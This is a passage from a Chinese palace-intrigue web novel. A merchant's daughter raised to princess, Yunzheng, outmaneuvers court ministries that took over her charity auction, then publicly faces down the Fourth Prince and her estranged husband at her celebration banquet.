永宁长公主闭了闭眼,“请皇上念在我们姐弟过去的情份,饶了我们这一回吧。” 皇上眉眼冷漠如雪,“必须有人为此事负责。” 毒酒,匕首,白绫,三件东西送到夫妻俩面前。 “你们自己选择吧。” 两人浑身剧震,脸色惨白如纸。 永宁长公主拼命磕头,额头都出血了,“皇上开恩。” 皇上视若无睹,“一柱香内做出选择,否则,就应了驸马的誓言。” 什么誓言?啊,纪家满门抄斩。 纪驸马心底升起一丝绝望,“臣愿以死赎罪,只求放过纪氏一族。” 永宁长公主一把按住他的手,眼眶泛红,“驸马。” 纪驸马深深的看了她一眼,“照顾好孩子。” 说完这话,他一把挥开她,举起毒酒一饮而尽,姿态绝决至极。 永宁长公主肝胆欲裂,脑袋嗡嗡作响,“不,驸马不要。” 纪驸马一口黑血喷出来,全喷在永宁长公主身上,随后身体徐徐倒下。 永宁长公主扑了过去,紧紧抱住他,泪如泉涌。“驸马,你不要死 。” 在她的哭喊声中,纪驸马浑身抽搐,在痛苦中慢慢合上双眼。 永宁长公主泪流满面,痛不欲生,这是杀人诛心啊。 皇上没有一丝动容,“永宁长公主和驸马对君王不敬,废除公主封号,去皇家寺院落发为尼。” “纪氏一族三代不得科举。” 纪氏族人确实不知纪七的身份,也不知永宁夫妻的打算,所以,放了他们一马。 但,三代不得科举,足以让一个家族跌入尘埃。 永宁不敢置信的瞪大眼睛,让她去当尼姑? “皇上,您答应放过纪家的。” 皇上神色淡淡的,“永宁,你有没有说实话,朕心里很清楚。” “没赐死你全家,是看在当年的情份,但没有下次了。“ 所有的情份全部耗尽了。 永宁面如死灰,太狠了,这比杀了她还痛苦。 帝王哪有什么情谊?呵呵,是她天真了。 “我自知罪该万死,但求给我一个月的时间,我把一双儿女的终身大事安排好。” “准。” 永宁的脑袋重重磕下去,“谢陛下。” 她被拖出来时,在院子里遇到了坐在轮椅上的厉无恙。 她心中的恨意往上窜,大声喝道,“九皇弟,我对你有恩,你却恩将仇报,就不怕有报应吗?” 厉无恙满脸疑惑,“有恩?” 永宁愤愤不平,“若不是我向父皇举荐你娘,又怎么会有你们母子的荣华富贵?没有我,就没有你,这样的大恩,你就是这么报答的?” 厉无恙:…… 有些人永远不会觉得自己有错,错的永远是别人。 跟这种人讲不通道理,他们自有一套逻辑。 他嘲讽道,“给亲爹献女人,让亲爹沉迷女色,这是不忠。” “背叛生你养你的亲娘,这是不孝。” “给一个有未婚夫的女人下药,毁了她的一生,这是不仁。” “像你这种不忠不仁不孝的玩意,居然还敢跟我提恩情?” 永宁气的面红耳赤,“你……” 厉无恙神色清冷的可怕,“等着吧,你还有儿女。” 永宁脸色大变,“你别动他们。” “呵。”厉无恙冷笑一声,推着轮椅进了大殿。 看着他远去的身影,永宁急怒攻心,眼前一黑,晕了过去。 皇上在殿内听的清清楚楚,但,没有多问一个字。 他招了招手,“皇弟,你是觉得纪七背后还有人?” 厉无恙淡淡的道,“先别急着赐死,看看戾太子有没有安排后招,那一晚戾太子身边的谋士章先生悄然失踪,臣弟总觉得他还活着,还盯着京城,得把他引出来。” 戾太子忽然起事,章先生在背后出谋划策,但,宫变之夜他从侍卫的眼皮底下忽然失踪,这事太过蹊跷。 皇上沉吟半响,“也罢,这事你去处理。” “是。” 京城又出了新鲜事,锦云郡主要办慈善义拍,除了拍卖宫中的首饰,还有京城各大家族的公子千金的才艺大比拼。 大家同心协力是为了皇室慈幼局筹款,为了那些流离失所的孤儿,可谓是大爱无疆。 这吸引了无数人的关注,引发一波热潮。 这一日,刚上朝,御史就出列了。 “皇上,臣有本启奏,锦云郡主大张旗鼓搞慈善义拍,闹的满城风雨。” “臣觉得,锦云郡主行事太招摇,太高调,恳请皇上好好管束她。” 皇上淡淡的反问,“怎么管?” 御史拱了拱手,“慈善义拍应该交给官府来搞,比如,我们御史台。” 好家伙,管束是假,摘桃子是真! 不要脸! 第116章 以退为进,是一种手段 于御史也站了出来,“锦主郡主毕竟不是官员,她私人举办慈善义拍,有招揽人心之嫌,臣认为,应该由官府来筹办,名正言顺。” 李御史连连点头,“臣附议。” 皇上坐在龙椅看下去,众官员的神色尽收眼底,起了试探之心。“各位爱卿,你们怎么说?” 一名礼部官员站了出来,“臣也觉得交由锦云郡主打理,极为不妥,名不正言不顺,我们礼部有经验,可以接手。” “我们都察院更适合。” “皇上,我们御史台个个能言善辩,非常适合这一份工作。” “我们工部什么都有,最适合。” 瘦田无人耕,耕开有人争。 看到别人做出了成绩,就纷纷跑来摘桃子,人性就是如此。 大家争持不下,纷纷请求皇上作主。 皇上心里一动,“大家都有这个心思,让朕很为难,就听听锦云郡主的意见。” 于御史立马说道,“皇上,臣觉得没有这个必要,一切由您独断专行。” 皇上挑了挑眉,“那,就交给明镜司。” 众人急了,那不行,他们可不敢跟明镜司争,也争不过啊。 “皇上,要不,还是听听锦云郡主的意见吧。” 下朝后,各部的主官跟着皇上去了养心殿。 云筝匆匆而来,落落大方的上前行礼。 “见过皇上,皇上金安。” “不知召臣女进见,有何要事?” 皇上看着神采飞扬的女子,有些话说不出口。 他指着在场的人,“是他们要找你。” 云筝看着众人,颌首致意,气质优雅从容,不见一丝怯意。 户部尚书冲她歉意的笑了笑,不是他想争,而是,大家都在争,他不争,就要出局。 左都御史第一个发难,“锦云郡主,你不是朝廷官员,不适合负责慈善义拍一事。” 其他也附和,“对,你只是一个女子。” 云筝奇怪的反问,“之前为什么不反对?难道我那时是男子?” 众人:…… 当然是因为,那时还没有出成绩,大家都觉得那是小孩子过家家。 谁曾想,会取得巨大的成功。 在巨大的利益面前,大家都疯狂心动了。 不说上次挣了多少钱,光是这次的门票,一万两一张,一日内就卖出了五十张。 没买到的人捶胸顿足,别提有多懊恼了,四处找门路。 左都御史冷声道,“锦云郡主,我们现在是好声好气的跟你商量,你别耍小孩子脾气,要以大局为重。” 通常这句话,就是要对方受委屈。 云筝可不惯着他们,“我一个商贾之女,哪懂什么大局?只知道,天下熙熙为利而来,天下攘攘为利而往。” 她话里有话,在内涵他们。 左都御史很强势,“行,你既然这么说了,我们就不跟你商量,是通知你,慈善义拍这事不用你操心,我们官府接手了。” 云筝眉头紧皱,转头看向皇上,“皇上,您怎么说?我只听您的。” 她眼中的信任,让皇上沉默不语。 云筝眼巴巴的看着他,“我想听您亲口说。” 皇上默了默,“就让各位大人试试。” 云筝的脸色一寸寸的冷了下来,眼中的光瞬间消失了。 “谨听圣谕。” 看着如此乖顺的云筝,皇上的心莫名的不舒服,好像失去了宝贵的东西。 大家没想到她这么好说话,“这才对嘛,女子就要安安分分的待在家里。” 云筝面无表情的甩出一本账本,“先把帐结了。” 几人凑过去一看,“什么?23万?” 云筝嘲讽道,“你们不会以为拍卖会很简单吧,光是前期付出的人力物力财力是无法想象的。” “这是我为慈善义拍前期付出的钱,你们把账结了。” 左都御史看着一项项贵到离谱的价格,板着脸轻斥,“这是虚报价格,我们不接受。” 茶叶开销就要一万,有那么金贵吗? “再说了,没经过我们事先同意的开支,一律不认。” 云筝神色平静,环视四周,“不认?你们都不认?” “对,都不认。” 云筝眼中的嘲讽更盛,“是你们说的哦,别后悔。” 皇上心里隐隐有些不安,不吵不闹不是她的风格,她一点委屈都不肯受。 “锦云,你是个有本事的,真金不怕火炼,下次还有机会。” 云筝淡淡的道,“皇上,您想过没有?我挣的钱只给您花,他们挣的钱,到您手上能有几成?有一成就不错了。” 皇上沉默。 云筝轻轻叹了一口气,“哎,我伤心了,是个人都能欺负我,以后啊,我啥都不管了,就每天吃吃喝喝,混吃等死吧。” 皇上终于知道为何不安了,她要撒手不管了。“锦云,你……” 云筝郑重其事的行了一礼,“愿吾皇万岁,万岁,万万岁。” 皇上脸色微变。 “臣女告退。” 不等皇上说什么,云筝爬起来扭头就走,背影绝决无比,像是下定了永不回头的决心。 众人面面相觑,看着皇上难看的脸色,愣是没敢开口。 云筝板着俏脸走出皇宫,但,一上了自家马车,嘴角轻轻扬起,有意思。 见招拆招,就陪他们斗一斗。 抢她的果子,占她的便宜,门都没有。 她什么都吃,就不肯吃半点亏。 马车刚驶出去,就被拦了下来。 是厉无恙闻讯追过来了,他这两天出京了,听到消息匆匆赶回来。 “你没事吧?” 他一身风尘仆仆,满眼的关切,云筝心里一软,说了句真话。 “有时,以退为进,也是一种策略。” 他们所有人会求着她回来的,到时,主动权就在她手里,条件就由她开了。 皇上……真当她是没脾气的财神娘娘? 呵呵,她付出的每一文,都是需要回报的。 “劳烦九千岁帮我办件事。” 见她真没伤心,厉无恙暗暗松了一口气,“你说。” 宫中,皇上忙着批阅奏折。 “九千岁求见。” “让他进来。” 厉无恙进来行了礼,将一个锦盒奉上。 “皇上,这是锦云郡主上交的门票费,一张一万,卖了五十张,一共是五十万两。” 看着厚厚的银票,皇上心中没有多少喜悦,“皇弟,锦云真的生气了?” 厉无恙神色淡然,“是伤心,心一旦冷了,就再也捂不暖。” 皇上心神微颤,他就说哪里不对劲,这是哀莫大于心死? “不至于吧。” 厉无恙淡淡的道,“她伤心的不是那些人抢她的胜利果实,而是,她一心效忠的君王冷眼旁观,任由别人欺负她,人越赤诚,越容易受伤。” 皇上脸色大变。 第117章 这就是得罪云筝的下场 皇上难得的多说了一句,“朕就是想平衡各方势力,这次给他们办,下次再让锦云办,你帮朕解释一下。” 他从来不跟人解释,也不需要解释。 但,此时良心在痛,虽然良心只有一点点。 厉无恙瞟了皇上一眼,皇上就是不想让云筝一家独大,彻底拿捏住内务府,想试试有没有替代品。 从帝王的角度来说,这想法没毛病。但,人是活的,心是热的。 “她跟别人不一样,她只是一心为您挣钱,为您建帝陵,满朝文武谁有这个心?他们只想从您身上得到好处。” 他轻轻叹了一口气,“她不在乎别人,所以,别人怎么做都伤不到她。可她对您一片赤诚,皇上,您这次伤了她的心。” 皇上心里不舒服,眉头紧皱,“她不是喜欢字吗?朕给她写几幅。” 他不相信真心,但希望别人对他有一点真心,人性就是这么复杂。 厉无恙反问道,“您真的觉得她喜欢吗?” “真心最不值钱,但,也最难得。” 等厉无恙走后,皇上呆呆的坐了很久,那句话一直在耳边回响。 是的,真心最不值钱,帝王不稀罕,可为什么会有一点遗憾呢? “大伴,朕真的错了吗?” 大太监斩钉截铁的回答,“皇上怎么会错呢?是锦云郡主没有恪守臣子之道。” 皇上微微蹙眉,“可,哪个臣子只愿意为朕花钱?大伴,你愿意吗?” 大太监心中暗惊,经此一闹,锦云郡主在皇上心里的份量加重了,这可不是什么好事。 跟他争宠的人,又多了一个。 “奴婢自然是愿意的,奴婢一身都是皇上的。” 皇上凉凉的说道,“可你没钱。” 大太监:……扎心了! 锦云郡主府,云筝坐在院子里,看着桌上的礼物。 金镶玉如意一柄,黑漆描金花鸟妆奁一只,里面是一套点翠镶嵌蓝宝石头面,一共16件,流光溢彩。 “什么意思?” 厉无恙微微笑道,“皇上赐下来的礼物,有安抚之意。” “哼。”云筝傲娇的冷哼一声,这点东西就想安抚她? 她没有那么好哄! 厉无恙又拿出一个三层的食盒,“我去御膳房拿的,吃甜食心情会好。” 各色精致的点心香气扑鼻,云筝眼睛一亮,“谢九千岁。” “很好吃,不愧是御膳房的手艺。” 她一口点心一口茶,满口喷香,“不过,您放心,我没有那么脆弱。” 厉无恙还是不放心,“真没事?” 云筝眼珠一转,“有事。” 她拿出一张请柬,“这是请柬,邀请您参加我获封郡主的庆祝宴。” 云父早就想办了,云筝之前一直在忙,没有时间,如今终于可以办了。 厉无恙郑重其事的接过来,“我一定去。” 云筝笑的甜甜的,“你不看一下时间地点吗?” 一看这小表情,厉无恙第一反应就是,谁要倒霉了? 他打开请柬一看,嘴角疯狂上扬。 时间是慈善义拍当天,地点是原来的云府。 就是说,本来是准备慈善义拍的场子,摇身一变成了她的庆祝宴。 一点都不浪费,还狠狠捅了那些人一刀。 “你还有空白请柬吗?拿给我,我来写请柬,我来帮你递。” 宗室要递,各大重臣要递,各部主官也要递,看谁敢不来。 云筝的眼睛一亮,他一出手,更有意思了呢。 这是明晃晃的帮她撑腰。 “多谢王爷,您是个大好人。” 厉无恙墨黑如深渊的眼眸定定的看着她,“我不会让别人欺负你的,谁都不行。” 云筝漫不经心的笑问,“皇上也不行吗?” 她就是开个玩笑,随口一说。 谁知,厉无恙的回答坚定无比,“他也不行。” 云筝呆住了,心中闪过一丝异样,怔怔的看着他。 男人神色专注而又认真,一双漂亮的黑眸倒映着她的身影,眸底隐隐有一丝紧绷。 云筝的心跳莫名的漏了几拍。 不,不可能,一定是她想多了。 他怎么可能看上她呢?他可是高高在上的九千岁,人人敬畏的九皇叔。 “你……” 厉无恙心跳的厉害,骨节分明的手指猛的收紧。 就在此时,一道急唤声在外面响起,“九千岁,边境有紧急军情。” 这一声打乱了暗夜迷情,两人心中不约而同闪过一丝失落。 厉无恙暗暗磨牙,面上不动声色,“我先走了,你有事去明镜司找我。” “好。” 临走前,他叮嘱了一句,“什么都不要担心,有我在。” 云筝微微一笑,“我才不担心呢,我只想看笑话。” 各部为了争抢主持大权差点大打出手,经反复协商,达成一致协议,六部共同办理,御史台和大理寺负责监管。 这也算是利益均沾。 大家满腔期待,只想挣个盆满钵满。 但,冰冷的现实教他们做人,他们能玩转官场,却玩不转商场。 这一日,左都御史猛的瞪大眼睛,“你说什么?再说一遍。” 属下小心翼翼的禀道,“云府那一日要为自家郡主办盛大的庆祝宴,谢绝所有应酬。” 众人都惊了。 左都御史气急败坏,“之前说好,要在云府举办慈善义卖活动,前期都筹备的差不多了,她怎么能出尔反尔?” 户部尚书凉凉的嘲讽道,“不给钱,还想白嫖人家的园子和前期准备,这怎么可能?” 这才是锦云郡主的风格,不肯吃亏,有仇必报。 左都御史本来想的好好的,前期已经准备好了,场地也有了,一切都是现成的。 他们只需要美美的等到那一日,举办拍卖会就行了。 可,时间临近,云筝来了这么一招釜底抽薪,把他们的如意算盘打乱了。 他们急了!急的眼睛都红了! 时间来不及了,啊啊啊! 这仅仅是个开始,让他们更崩溃的还在后面…… 第118章 这就是得罪云筝的下场(中) 左都御史很生气,“太不懂事了,不行,我得去找她说理。” 户部尚书不禁笑了,云筝是讲道理的人吗?“她早说了,她没有大局观。” 别自讨没趣。 左都御史还不信,非跑去见云筝,结果,他连郡主府的大门都进不去。 “我家郡主出门了。” 他铩羽而归,气恼不已,“这分明是躲起来了。” 怎么能不给他们占便宜?怎么能不把胜利果实拱手送给他们? 太自私了! 户部尚书早就料到了,云筝是吃软不吃硬,遇强则强。 “对啊,就是躲起来了,你能拿她怎么着?” 吏部尚书有些不乐意了,“您到底是哪头的?怎么老帮她说话?” 户部尚书淡淡的道,“我只是让大家认清事实,她不是逆来顺受的人,有手段有心计,别小看她。” 因为她是女子,就小看她,那他们会后悔的。 大家不信没有云筝相助,就办不成事情。 他们觉得之前有举办的经验,一切都不在话下。 但实际操作时,才发现前提是得有大把大把的银子。 借会场,装扮会场,茶点等等,每一项都需要钱。 没银子,啥都干不成。 大家盯上了钱袋子,户部尚书,“大人,您快拨一笔款给我们。” 户部尚书是铁公鸡,一毛不拔,“没钱。” 左都御史急的不行,“都火烧眉毛了,赶紧吧,要是这差事没办好,大家都要倒霉。” 户部尚书只是管钱的,每一笔钱都得报备。 “你去跟皇上申请,皇上说行,那我就拨款。” 大家面面相觑,之前可没有拨过款,这次怎么可能破例? 也显得他们没本事,还比不上云筝,这怎么行?他们丢不起这个脸。 有人忍不住抱怨,“锦云郡主怎么能将门票上交呢?整整五十万啊,足够了。” 这分明是故意的。 但,从云筝的角度,她不干了,将钱交割清楚,才是最明智的做法。 没有落下把柄。 一名官员小心翼翼的开口,“去跟皇上要?” 开什么玩笑,进了皇上的口袋,怎么可能要得回来? 礼部尚书眼睛一亮,“要不,再卖五十张门票,之前就畅销无比,我们加价卖,一万五一张。” “好主意。” 这多出来的五千,可以不报账,几个部门私底下分了。 大家信心满满的卖门票,但,发现一张票都没有卖出去。 这不可能啊。 难道,是贵了五千? 一打听,好家伙! 有传言,各部争权夺利,将锦云郡主一脚踢开,疯狂捞钱中,慈善义卖估计要黄了。 锦云郡主公开保证,若慈善义卖会黄了,她一定会退还那五十张门票钱。 但,其他的就不管了。 官府再怎么解释都没用,大家觉得官府争权夺利是内行,但做生意是外行,远远比不上云筝。 一万一张的门票卖的那么快,是冲着锦云郡主这块金字招牌。 之前,她让大家都捞到了好处。 如今郡主走了,商贾们本能的畏惧官府,质疑官府的信誉和能力。 云筝是商贾和官府之间的一根纽带,看似不起眼,其实起着巨大的作用。 问题是,户部拨大笔的款项得向皇上请示,户部尚书也抠抠搜搜的。 最后好说歹说拨了十二万两银子,还得找场地,前期筹备。 时间太短了,一切都很仓促。 更让他们窒息的,还在后面。 慈善义拍会前夕,各位重臣收到了大红烫金的请柬,邀请他们参加锦云郡主的庆祝宴,地点就在云府。 六部尚书都收到了,面面相觑。 “大家都去云府捧场?” “九千岁亲手写的请柬,谁敢拒绝?” 九千岁够护短的,为了给云筝撑腰,还整这么一出。 “我也要跑一趟,不管如何,都不能打九千岁的脸。” “好嘛,那我也随大流,去去就回,不吃宴马上回来主持慈善义卖。” 御史台跟云筝不对盘,左都御史不想去。 “慈善义卖会离不了我,我就不去了,帮我将礼物带过去。” 慈善义拍如期而至,时间定在下午。 下了朝,大家兵分两路,一路去云府参加宴会。 一路提前去慈善义拍会场做准备,由左都御史全权负责。 慈善义拍会场选择城中最热闹的茶楼,静雅居。 第一次拍卖会就在这里,可谓是熟门熟路。一切照搬,抄之前的作业。 金碧辉煌,奢华而又雅致,气派非凡,营造出了顶级尊贵奢侈的氛围。 茶点都是最好的,把钱都花光了,还赊了些,只等着拍卖会后还清。 六部主官来了,中层官员来了,底层官员也来帮忙了,勋贵也来了一批。 参加比赛的公子千金们也来了,他们的家人也来了,都满怀期待。 但,迟迟没看到入场的豪客们。 这就尴尬了,没有豪客,谁来买东西?官员和勋贵吗? 有钱有势的都喜欢量身定制首饰,家里也有宫中赐下来的首饰,谁愿意高价买? 没钱的……想屁吃! 本来就是卖给那些有钱,却没有权势的商贾,虚荣心强,又极需攀关系,哪怕是宫中一件首饰,也能拿来镇宅,让地方官员少点剥削。 看着空荡荡的茶楼,上上下下都慌了手脚,钱砸出去了,声势也造出去了啊。 名门公子千金们不乐意了,“不是吧?我们努力了那么久,累死累活的练习,就这结果?” “六部官员大张旗鼓搞了那么久,就这?” “锦云郡主是怎么答应我们的?啊?这不是耍人吗?” “她被挤走了,也不能怪她。” “我就是没想到,她不在,影响这么大。” “那是不是说明,锦云郡主的能力很强,比这些官员都厉害?” “还用问吗?事实就摆在眼前,人家办了两次都很成功,换了人就……” 官员们更着急,要是出岔子,他们这些人的脸丢到姥姥家了,还得追责。 就在此时,外面响起通禀声。 “皇后娘娘驾到。” 众人纷纷上前迎接,“见过皇后娘娘。” 皇后娘娘在宫人的簇拥下走进来,身后还跟着几位皇子,皇子妃和江城郡主。 “这是怎么回事?人呢?怎么还没到?” 左都御史急的满头大汗,“下官也不知道啊,派人去打听情况了。” 皇后脸色不好看,一群废物。 下属匆匆跑进来,“大人,那些豪客都去了云府,祝贺锦云郡主庆获封爵位。” 现场一片寂静,很多人的脸绿了,四肢冰冷,完了! 锦云郡主这一刀,捅的够狠! 第119章 这就是得罪云筝的下场(下) “什么?岂有此理,怎么不分轻重?慈善义拍比郡主的庆祝宴重要。” 左都御史暴跳如雷,一群商贾不来办正事,反去为一个郡主捧场,不知轻重,没有半点政治眼光。 “去,把他们赶紧叫来,义拍时间到了。” 等啊等,等了老半天都不见人影,皇后一众人都等的不耐烦了。 “左都御史,这就是你主持的慈善义拍?你是怎么办事的?” 左都御史脸色铁青,谁让他想不开,主动要求主持慈善义拍,现在责任全是他的。 说到底,他还是笨啊,比那些老狐狸笨多了。 却绝口不提,他想占功劳的大头。 他当场就推卸责任,“这不能怪我,要怪就怪锦云郡主,偏要在这一日摆宴,还邀请那么多宾客,她是故意跟我们唱对台戏。” 完了,被云筝坑惨了。 他们六部搞的轰轰烈烈,到头来却成了一个大笑话。 直至此时,他们才意识到被云筝狠狠摆了一道。 偏偏,挑不出一点毛病,他们有口难言。 现场一片寂静,实在想不通,那些宾客砸了重金却不来,这不是把钱扔河里吗? 到底是为什么? 江城郡主清咳一声,“皇后娘娘,难得出宫一趟,我想去云府一趟,还请恩准。” 三皇子眼珠乱转,“母后,我也想去,听说今日可热闹了,九皇叔亲自发了请柬,重臣们都去了。” 几位皇子眼神微闪,四皇子轻笑道,“母后,来都来了,不如一起去瞧瞧吧。” 皇后略一沉吟,“那,就去吧。” “本宫对你们很失望,等着听候处置吧。” 花了钱,事情却没有办成,总要有人负责的。 左都御史面如死灰,咬了咬牙,跟了上去。 不行,这黑锅必须甩给锦云郡主。 云府,张灯结彩,披红挂绿,宾客如云,一派喜气洋洋的景象。 首辅一众人到了,抬头看向云府的牌匾,龙飞凤舞。 “这字好眼熟,是谁写的?” “九千岁。” 众人噤声,锦云郡主真厉害,旧宅由九千岁的字镇宅,新宅由皇上的字镇宅。 抱着这两条金大腿,难怪那么任性呢。 云展鹏亲自上前迎接,他虽是商贾出身,但如今也是官身,行事进退得宜,跟各位高官打交道,恭敬中却不见一丝卑微,分寸拿捏的恰到好处,让人如沐春风。 首辅有些意外,但细细一想,也不意外了。 能生出锦云郡主的人,也不会是寻常之辈。 云府是五进的宅子,小桥流水,亭台楼榭,步步是景,典型的江南园林风格。 云府处处见匠心,景致美轮美奂。 宴会放在湖畔,用湖水巧妙的分成两部分,南面招待官员,北边招待商贾,两两相望,中间只隔着一座蜿蜒曲折的九曲桥和凉亭。 阳光正好,洒在身上暖洋洋的。 众人坐下来喝茶,户部尚书四处扫视,忽然视线一顿,“咦。” 首辅看了过来,“怎么了?” 户部尚书指着北边的人,“那些不是报名参加慈善义拍的商贾们吗?他们怎么出现在这里?” 首辅立马反应过来,头皮一阵发麻。 “不好,麻烦大了。” 其他人也傻眼了,面面相觑。 户部尚书的脸色发白,“我就说嘛,得罪谁,也不能得罪锦云郡主,她就是一个疯子。” 她这一巴掌打的六部颜面全失。 云筝不知从哪里冒出来,笑吟吟的打招呼,“各位大人,你们来了。” 大家都笑不出来,户部尚书揉了揉眉心,“锦云郡主,你也太狠了。” 云筝笑颜如花,“您在说什么?我怎么听不懂?” 装傻,她是专业的。 “来,尝尝我家茶园的第一茬清茶,味道很不错的。” 首辅张了张嘴,但话到嘴边变了,“怎么不见九千岁?” 云筝笑眯眯的道,“王爷有事,要等会过来,开宴之前一定能到。” 云展鹏夫妻去招待商贾,云筝就留下来招待官员和勋贵们。 不得不说,云府的宴会一切用度都是最好,最享受的。 云筝面带笑容的热情款待客人们,举止从容大方,不卑不亢。 首辅看在眼里,不禁暗叹,这气度比他的几个孙子孙女强多了。 “她能入皇上和九千岁的眼,是有原因的。” 户部尚书微微颌首,“若能和离,老夫想替嫡长孙聘她为媳,她能当宗妇。” 这话一出,大家的眼神都不一样了。 新思路打开了! 首辅摸了摸胡子,他家的几个孙子可以任由锦云郡主挑选,实在看不上,他还有外孙。 一时之间,大家都在心里琢磨自家的晚辈,能不能拎一个成器的出来? “皇后娘娘驾到。” 通禀声响起,所有人都站起来躬身迎接。 皇后娘娘带着一群人浩浩荡荡的走近,云家人上前迎接。 皇后娘娘的态度温和,“锦云郡主,本宫不请自来,还请莫怪。” 云筝眉眼带笑, “皇后娘娘能来,是我的荣幸。” 她瞥了一眼皇后娘娘身边的人,怎么把四位皇子和皇子妃都带来了? 她冲江城郡主微微一笑,算是打招呼。 皇后娘娘从手腕撸下一对翡翠玉镯, “这是西域龟兹送来的贡品,送你当贺礼。” 云筝直接戴上,翡翠玉镯在阳光下散发着温润的光泽。 “谢皇后娘娘。” 她们其乐融融,跟过来的左都御史急的不行,忽然开口道,“锦云郡主,慈善义拍出了纰漏,大家这些日子的努力付诸东流了。” 云筝奇怪的反问,“哦,那跟我有什么关系?” 左都御史气急败坏的质问,“你就一点都不内疚吗?” 云筝一脸的奇怪,“内疚?那是啥玩意?能吃吗?” 众人:…… 左都御史:…… “你就不怕皇上问罪吗?” 云筝淡淡道,“我自问不负皇恩,对得起皇上,皇上若怪罪,那我也无话可说。” “你对皇上有怨?”四皇子的声音猛的响起。 他是皇后的养子,算是半个嫡子,是夺嫡的热门人选。 诸皇子中,就他和三皇子的地位最高,两人也是互不相让,暗潮涌动。 云筝打量了他两眼,长的还行,就是眼神太过阴沉。 “不敢,我以后每天吃吃喝喝,逍遥自在,天塌下来,也有高个子顶着。” 四皇子神色严肃极了,“此话差矣,溥天之下,莫非王土,率土之滨,莫非王臣,你是大齐的锦云郡主,有责任为朝廷为君王分忧。”注(1) 他大声指责,“慈善义拍本是你的主意,如今出了纰漏,你应该全权负责。” “本皇子命令你,速速解决此事。” 云筝眼神冷了下来,居然想拿她立威?瞎了眼的狗东西,找抽,是吧? 我就成全你! 第120章 她,杀疯了 云筝拿起一颗果子,扬声笑道,“这果子不错,从南方快马加鞭运过来的,大家都尝尝。” 她居然不理四皇子,笑容灿烂明媚,全然不受其影响。 四皇子感觉被落了面子,顿时恼了,“锦云,本皇子在跟你说话。” 他居高临下的傲慢,在他眼里,云筝就是他家的奴才。 他也看不惯别人对她的追捧,一个不安于室的女子,凭什么得到这么多关注?凭什么得到父皇的垂青?凭什么得到九皇叔的庇护? 云筝神色淡淡的,“不在其位,不谋其政的道理,四皇子应该懂吧。” 四皇子冷声喝道,“你之前插手了。” 云筝慢悠悠的咬了一口果子,“那是我年轻不懂事,现在吃了大亏终于懂了,就不再过问。” 四皇子盛气凌人,“你惹出来的祸,当然是你收拾。” 云筝凉凉的声音响起,“四皇子年纪不大,却是老糊涂了,若是当了皇帝,一定是个昏君。” 这猝不及防的重重一击,让四皇子脸色大变,她怎么敢? “云筝,你休要胡说八道。” 三皇子却乐坏了,惹谁不好,偏要惹云筝? 啧啧,她掐自己时,特别难受,但看她掐别人时,怎么这么开心呢? 云筝可不怕事,看向左都御史,“四皇子非逼着我替你们收拾烂摊子,那给我一个名正言顺插手的理由。” 左都御史羞恼不已,什么叫替他们收拾烂摊子? “你想当女官?哪个女子像你这样野心勃勃的?你死了这条心吧。本来就是你惹出来的麻烦,你要负责。” 他极力将黑锅给云筝扣上,不想自己担责啊。 四皇子冷哼一声, “锦云,你听听,大家都是这么想的。” 云筝一点都不在乎,“哦,既想马儿跑,又不给马儿吃草,这世上哪有这样的道理?就算贵为皇子,也不能这么不要脸。” 四皇子脸色一变,“你说什么?” 云筝撇了撇小嘴,“说你不要脸呢,左都御史是你的人吧,皇上知道你们这么急着结党营私,盯着他的位置吗?哎,皇上啊,你儿子等不及要弑……” 四皇子脸都绿了,大声喝止,“放肆,给我拿下,狠狠打。” 几名侍卫上前扑向云筝,云家的家丁们护在云筝面前,双方对峙,互不相让。 四皇子感觉自己的威信受到了极大的挑战,怒火中烧,“你们云家要造反吗?” 云筝将果核一扔,精准的扔在他脸上,“好大的口气,你以为你是大齐皇帝吗?” 他们皇室都有一个臭毛病,目空一切的傲慢和狂妄, 觉得天下芸芸众生都该跪倒在他们脚下,为他们生,为他们死,是荣幸。 四皇子气怒攻心,“你对皇子不敬,我有权处置你……” 云筝态度比他还嚣张,“皇子是几品呀?啊,没品。” “你一个没品的皇子哪来的资格打杀一个二品郡主?等你哪天当上皇帝了再说吧。” “你……”四皇子气的浑身发抖,“刁妇,不可理喻。” 云筝冷笑一声,“你想借机向文武百官施恩,是你的事,但,拿我当垫脚石,踩着我招揽百官的心,你白日做梦。” 她一句话道破四皇子的心思,他明知云筝难缠,但依旧选择拿她开刀立威。 既向百官施恩,又建立起自己的威信,一举两得。 只需要牺牲一个云筝而已。 富贵险中求,赌了。 云筝满眼的轻嘲,“不过,一个皇子向百官施恩,实在太着急了。” 这是大忌! 现场静的出奇,神色各异。 这一轮,四皇子输了,输在挑错了垫脚石。 云筝不肯老老实实的给他垫脚,还狠狠砸了他一头包。 首辅沉默,眼神复杂至极。 她太聪明,也太尖锐,是一把开锋的利刃,容易伤人伤己。 四皇子隐秘的心思曝光在阳光之下,脸色铁青。 她到底哪来的勇气敢得罪皇子?就不怕事后清算吗?这真的是正常人吗? “锦云郡主,你只是一个跟皇室没有血缘的郡主,是外姓,太嚣张的话会倒霉的。” 云筝哈哈大笑,“那又如何,最起码在倒霉之前,我是快活的,是享受的,是幸福的,比起那些活了半辈子,都没有随心所欲过一天的人,强多了。” 无数人中箭。 云筝手指着四皇子,大声嘲讽,“啊,忘了,你连婚姻自主权都没有,娶谁,睡谁,你都没有资格决定。” 四皇子恼羞成怒,“云筝,你还是平西侯府的人,我这就让江二公子把你领回去。” “来人,去把江闻舟叫来。” 江闻舟来的很快,穿着马倌的衣服,浑身散发着一股恶心的马粪味,头发脏兮兮的,脸上有斑驳的疤痕,很是吓人。 大家一看到他,吓的纷纷退散。 江闻舟一进来,就气势汹汹的扑向云筝,“贱人,跟我回去。” 这些日子他受尽折磨,人人都能踩他一脚,满腔的戾气全冲着云筝而去。 “你水性杨花,不守妇道,淫贱下贱。” 云家侍卫拦在云筝面前,不让他靠近。 他像个疯子般,大声叫嚣。 “云筝,你生是我的人,死是我的人,这辈子都休想摆脱我,我命令你,赶紧跟我回去……” 忽然,一颗石子砸过来,砸中他的嘴,两颗门牙崩了,血流不止。“啊。” “谁偷袭我?哪个奸夫,站出来给爷瞧瞧……” 他捂着嘴四处张望,目露凶光,气焰极为嚣张。 四皇子说了,今日一定要打断云筝的骨头,剪掉她的翅膀,将她弄残,配合的话,就帮他恢复世子之位。 他正想弄几个奸夫出来,往云筝身上泼脏水,却看到了一行人,顿时脸色大变。 “皇上?” 一群禁卫簇拥着身着常服的皇上和坐在轮椅上的九千岁,两人的脸色都不好看。 一道怒喝道猛的响起,“放肆,皇上在此,谁敢造次?” 江闻舟的腿一软,扑通一声跪倒在地。 他们何时来的?听到了多少? 